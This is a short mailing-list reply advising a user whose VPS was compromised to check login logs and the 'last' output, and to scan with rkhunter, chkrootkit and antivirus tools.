[BlueOnyx:08818] Re: vps hacked

[Mike's List]

Have you look at /var/log/secure?  Use the "last" command to see if any
suspicious login via shell?  (Might have to unzip those wtmp file/s for
older/previous login.  Is there a log for GUI login also that you can
track?

Run rkunter and chkrootkit for rootkit installation?  Install ClamAV,
Sophos, etc. for malware/antivirus scanning?  RPMs for rkhunter and
chkrootkit can be found below, download the appropriate version for your
OS version, then "rpm -ivh <package.rpm>" and run "rkhunter -c" and/or
"chkrootkit" to start scanning.
